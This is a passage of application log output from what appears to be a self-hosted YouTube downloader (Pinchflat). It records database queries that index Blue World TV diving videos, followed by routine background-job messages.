explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "GtXs5-njKx8", "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, 1008, false, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, ~U[2024-09-14 14:00:11Z]] 19:03:33.923 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.924 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-24 14:00:52Z], 34] 19:03:33.925 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Cameraman Todd travel to Playa Del Carmen, Mexico in search of an underwater crocodile encounter with Jorge Loria from Phantom Divers!\n\nWARNING! Wild animals are dangerous. Especially crocodiles! Don't even think of doing anything this dumb!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #crocodile #mexico \n\nChapters:\n0:00 Intro\n1:50 Arrive at Cenote\n3:40 We find the crocodile\n6:15 We go back again\n7:30 Third attempt\n8:30 Finally a croc underwater\n15:12 End of the dive summary\n16:10 Credits", "UNDERWATER Encounter with Huge CROCODILE!", "cd0fca79-1aa0-49d7-83ff-de7a8ae6062e", "xKq0AClgPF0", false, "https://www.youtube.com/watch?v=xKq0AClgPF0", 34, [], 990, false, 19, "/downloads/rory/BlueWorldTV/2024-08-24 UNDERWATER Encounter with Huge CROCODILE!/UNDERWATER Encounter with Huge CROCODILE! [xKq0AClgPF0].mp4", false, false, 98, ~U[2024-08-24 14:00:52Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Cameraman Todd travel to Playa Del Carmen, Mexico in search of an underwater crocodile encounter with Jorge Loria from Phantom Divers!\n\nWARNING! Wild animals are dangerous. Especially crocodiles! Don't even think of doing anything this dumb!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #crocodile #mexico \n\nChapters:\n0:00 Intro\n1:50 Arrive at Cenote\n3:40 We find the crocodile\n6:15 We go back again\n7:30 Third attempt\n8:30 Finally a croc underwater\n15:12 End of the dive summary\n16:10 Credits", "UNDERWATER Encounter with Huge CROCODILE!", "xKq0AClgPF0", "https://www.youtube.com/watch?v=xKq0AClgPF0", 34, 990, false, "/downloads/rory/BlueWorldTV/2024-08-24 UNDERWATER Encounter with Huge CROCODILE!/UNDERWATER Encounter with Huge CROCODILE! [xKq0AClgPF0].mp4", false, ~U[2024-08-24 14:00:52Z]] 19:03:33.925 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], 34] 19:03:33.927 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:03:33.928 [debug] QUERY OK source="media_items" db=0.9ms idle=3.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:03:33.928 [debug] QUERY OK source="media_items" db=0.1ms idle=4.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 19:03:33.929 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7278, 34, ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z]] 19:03:33.929 [info] {"args":{"id":34},"id":7262,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":58708039,"event":"job:stop","queue_time":919125,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:04:00.069 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:02.701 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:32.702 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.071 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:02.703 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:32.704 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.073 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:02.705 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:32.706 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.073 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:02.708 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:07:32.710 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.075 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:02.710 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:32.712 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.077 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:02.713 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:32.714 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.078 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:02.715 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:32.717 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.079 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:02.718 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:32.719 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.081 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:02.720 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:32.721 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.083 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:02.722 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:32.723 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.085 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:02.726 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:32.728 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.087 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:02.730 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:32.731 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.088 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:02.732 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:32.732 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.090 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:02.735 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:32.737 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.090 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:02.738 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:32.740 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.092 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:02.742 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:32.744 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.093 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:02.746 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:32.748 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.094 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:02.751 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:32.752 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.095 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:02.754 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:32.756 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.097 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:02.758 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:32.760 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.099 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:02.762 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:32.764 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.101 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:02.766 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:32.768 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.103 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:02.770 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:32.772 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.105 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:02.774 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:32.776 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.105 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:02.779 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:32.781 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.107 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:02.783 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:32.785 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.109 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:02.788 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:32.790 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.111 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:02.792 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:32.794 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.112 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:02.797 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:32.800 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.113 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:02.802 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:32.805 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.114 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:02.808 [info] {"source":"oban","duration":2122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:32.810 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.114 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:02.813 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:32.816 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.116 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:02.818 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:32.821 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.118 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:02.824 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:32.827 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.120 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:02.830 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:32.833 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.121 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:02.836 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:32.839 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.123 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:02.842 [info] {"source":"oban","duration":2328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:32.843 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:54.635 [info] {"args":{"id":30},"id":7263,"meta":{},"system_time":1780530054635869223,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:40:54.636 [debug] QUERY OK source="sources" db=0.2ms idle=1936.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.636 [debug] QUERY OK source="settings" db=0.1ms idle=1936.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.638 [debug] QUERY OK source="media_items" db=1.2ms idle=1010.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:40:54.638 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 19:40:54.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:54.639 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:40:54.639 [debug] QUERY 